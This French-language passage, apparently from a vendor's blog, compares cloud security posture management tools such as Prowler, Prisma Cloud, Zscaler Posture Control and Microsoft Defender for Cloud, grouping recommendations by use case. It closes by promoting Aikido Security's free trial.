- Détection des erreurs de configuration et suivi de la conformité
- Remédiations IaC générées automatiquement (par exemple, Terraform)
- Intégration avec Tenable.io et données de vulnérabilité
Idéal pour : Les équipes DevOps qui ont besoin de contrôles de posture avant le déploiement et pendant l'exécution, liés à l'IaC.
Prix : Fait partie de la plateforme Tenable ; tarification basée sur l'utilisation.
"Un excellent complément aux outils Tenable pour les vulnérabilités - il permet également de contrôler les configurations dans les nuages. - SecOps Manager sur G2

17. Zscaler Posture Control
Zscaler Posture Control apporte le CSPM au Zero Trust Exchange de Zscaler. Il combine le contexte de la posture, de l'identité et de la vulnérabilité pour mettre en évidence les risques réels.
Caractéristiques principales :
- CSPM et CIEM unifiés
- Corrélation des menaces entre les méconfigs, les identités et les charges de travail
- Analyse continue pour AWS, Azure et GCP
- Mise en œuvre et remédiation basées sur des politiques
- Intégré à l'écosystème Zero Trust de Zscaler
Idéal pour : Les clients de Zscaler à la recherche d'informations sur la posture native alignées sur les stratégies Zero Trust.
Prix : Complément à la plateforme Zscaler ; axé sur l'entreprise.
"Nous avons enfin obtenu une visibilité de la posture liée à notre modèle de confiance zéro." - Responsable de la sécurité des réseaux sur G2
Les meilleurs outils du CSPM pour les développeurs
Besoins des développeurs : Un retour d'information rapide en CI/CD, des alertes peu bruyantes et des intégrations avec GitHub, Terraform ou des IDE.
Critères clés :
- Analyse de l'infrastructure en tant que code (IaC)
- Interface utilisateur et API conviviales pour les développeurs
- Compatibilité GitOps et CI/CD
- Autofix ou conseils de remédiation exploitables
- Une appropriation claire et un minimum de faux positifs
Les meilleurs choix :
- Sécurité Aikido: Configuration facile, autofixation basée sur l'IA et conçue pour les développeurs. S'intègre directement avec CI et GitHub.
- Fugue (Snyk Cloud): Policy-as-code avec Regula ; idéal pour les équipes utilisant Terraform et GitOps.
- Prisma Cloud: Numérisation complète du code dans le nuage et intégration de l'IDE.
- Prowler: Outil CLI simple que les développeurs peuvent exécuter localement ou dans des pipelines.
Les meilleurs outils CSPM pour les entreprises
Besoins de l'entreprise : Visibilité multi-cloud, rapports de conformité, accès basé sur les rôles et intégration des flux de travail.
Critères clés :
- Prise en charge multi-comptes et multi-cloud
- Cadres de conformité intégrés
- Contrôle d'accès basé sur les rôles (RBAC)
- Intégrations SIEM/ITSM
- Tarification évolutive et soutien aux fournisseurs
Les meilleurs choix :
- Prisma Cloud: Couvre la posture, l'exécution et la conformité à l'échelle.
- Check Point CloudGuard: Gouvernance multi-cloud et application approfondie des politiques.
- Microsoft Defender for Cloud: Couverture native d'Azure et d'AWS/GCP.
- Ermetic: CIEM avancé et gouvernance pour les environnements complexes.
Les meilleurs outils CSPM pour les startups
Besoins des entreprises en phase de démarrage : Abordabilité, facilité d'utilisation, déploiement rapide et aide à la conformité de base.
Critères clés :
- Plans gratuits ou abordables
- Facilité d'accueil et d'utilisation
- L'état de préparation SOC 2/ISO prêt à l'emploi
- L'accent mis sur les développeurs
- Fonctionnalités tout-en-un
Les meilleurs choix :
- Sécurité Aikido: Niveau gratuit, autofixation par l'IA et centré sur le développement.
- CloudSploit: Gratuit, open-source et facile à intégrer.
- JupiterOne: niveau communautaire gratuit et requêtes simples sur les risques basés sur les actifs.
- Prowler: Scanner AWS gratuit piloté par CLI avec prise en charge de la conformité.
Les meilleurs outils CSPM pour les environnements multi-cloud
Besoins multi-cloud : Vue unifiée, application de politiques indépendante du cloud et intégrations transparentes.
Critères clés :
- Prise en charge complète de AWS, Azure, GCP (et plus encore)
- Tableaux de bord unifiés
- Rapports de conformité normalisés
- Visibilité multi-comptes et multirégions
- Des alertes cohérentes dans tous les nuages
Les meilleurs choix :
- Prisma Cloud: Véritablement agnostique avec des fonctionnalités approfondies.
- JupiterOne: visibilité graphique des nuages et des services.
- Check Point CloudGuard: Un moteur de politique pour tous les nuages.
- CloudCheckr: Gouvernance et optimisation des coûts dans les nuages.
Les meilleurs outils CSPM pour la protection de l'informatique en nuage
Besoins en matière de protection de l'informatique en nuage : Combinez la posture avec la détection des menaces en cours d'exécution, l'analyse des anomalies et la prévention des brèches.
Critères clés :
- Détection des menaces (au-delà de l'analyse de la configuration)
- Visibilité de la charge de travail en cours d'exécution
- Aperçu du trafic sur le réseau en nuage
- Corrélation et hiérarchisation des alertes
- Remédiation ou blocage automatisé
Les meilleurs choix :
- Aikido Security: Combine la gestion de la posture dans le nuage, l'analyse de codes et l'analyse d'images de conteneurs en une seule plateforme.
- CrowdStrike Falcon Cloud Security: CNAPP avec les meilleures informations sur les menaces.
- La dentelle: Le moteur polygraphique détecte à la fois les méconnaissances et les anomalies.
- Microsoft Defender for Cloud: Runtime + config threat visibility in Azure.
- Check Point CloudGuard: Combine la posture avec la prévention active des menaces.
Les meilleurs outils CSPM pour AWS
Besoins centrés sur AWS : Couverture complète des services, intégration du Security Hub et alignement sur les critères de référence d'AWS.
Critères clés :
- Intégration poussée de l'API AWS
- Prise en charge des cadres CIS/NIST d'AWS
- Prise en charge des organisations multicomptes
- Compatibilité avec les services natifs (par exemple, GuardDuty, Config)
- Détection des erreurs de configuration à faible latence
Les meilleurs choix :
- Prowler: Léger, premier CLI et natif AWS.
- CloudSploit: Facile à déployer et open-source.
- Aqua Security: Prise en charge étendue d'AWS + conteneurs.
- CloudCheckr: Aperçu de la conformité et des coûts d'AWS.
Les meilleurs outils CSPM pour Azure
Besoins centrés sur Azure : Intégration transparente avec Microsoft Defender, Azure Policy et les services natifs.
Critères clés :
- Intégration native avec l'écosystème Azure
- Prise en charge de Secure Score et Azure Security Benchmark
- Couverture de Azure RBAC et de l'identité
- Remédiation et alertes automatisées
- Compatibilité avec Sentinel et Defender XDR
Les meilleurs choix :
- Microsoft Defender for Cloud: Couverture de la première partie avec un niveau gratuit.
- Sécurité Aikido: Plateforme CSPM prête pour Azure avec analyse sans agent, alertes de mauvaise configuration en temps réel et remédiation basée sur l'IA.
- Ermetic: Gestion avancée de la posture d'identité pour Azure.
- Check Point CloudGuard: Visibilité multi-cloud, y compris Azure.
- Tenable Cloud Security: IaC et runtime scanning pour Azure avec détection des dérives.
Conclusion
La gestion de la posture de sécurité dans l'informatique dématérialisée n'est pas seulement une case à cocher pour les audits - c'est la différence entre un nuage sécurisé et évolutif et un nuage qui laisse fuir des données sensibles en raison de mauvaises configurations.
Que vous soyez le fondateur d'une startup à la recherche d'un outil gratuit pour renforcer votre compte AWS ou le responsable de la sécurité d'une entreprise gérant des environnements multi-cloud, le bon outil CSPM peut vous faciliter grandement la tâche.
Des outils open-source comme Prowler et CloudSploit aux plateformes d'entreprise comme Prisma Cloud et Check Point CloudGuard, le paysage est riche d'options puissantes.
Si vous êtes à la recherche d'une plateforme pour les développeurs qui combine CSPM avec la sécurité du code et de l'exécution dans une interface unique, Aikido Security a tout ce qu'il vous faut.
👉 Commencez votre essai gratuit dès aujourd'hui et voyez à quelle vitesse vous pouvez corriger votre posture en matière de cloud.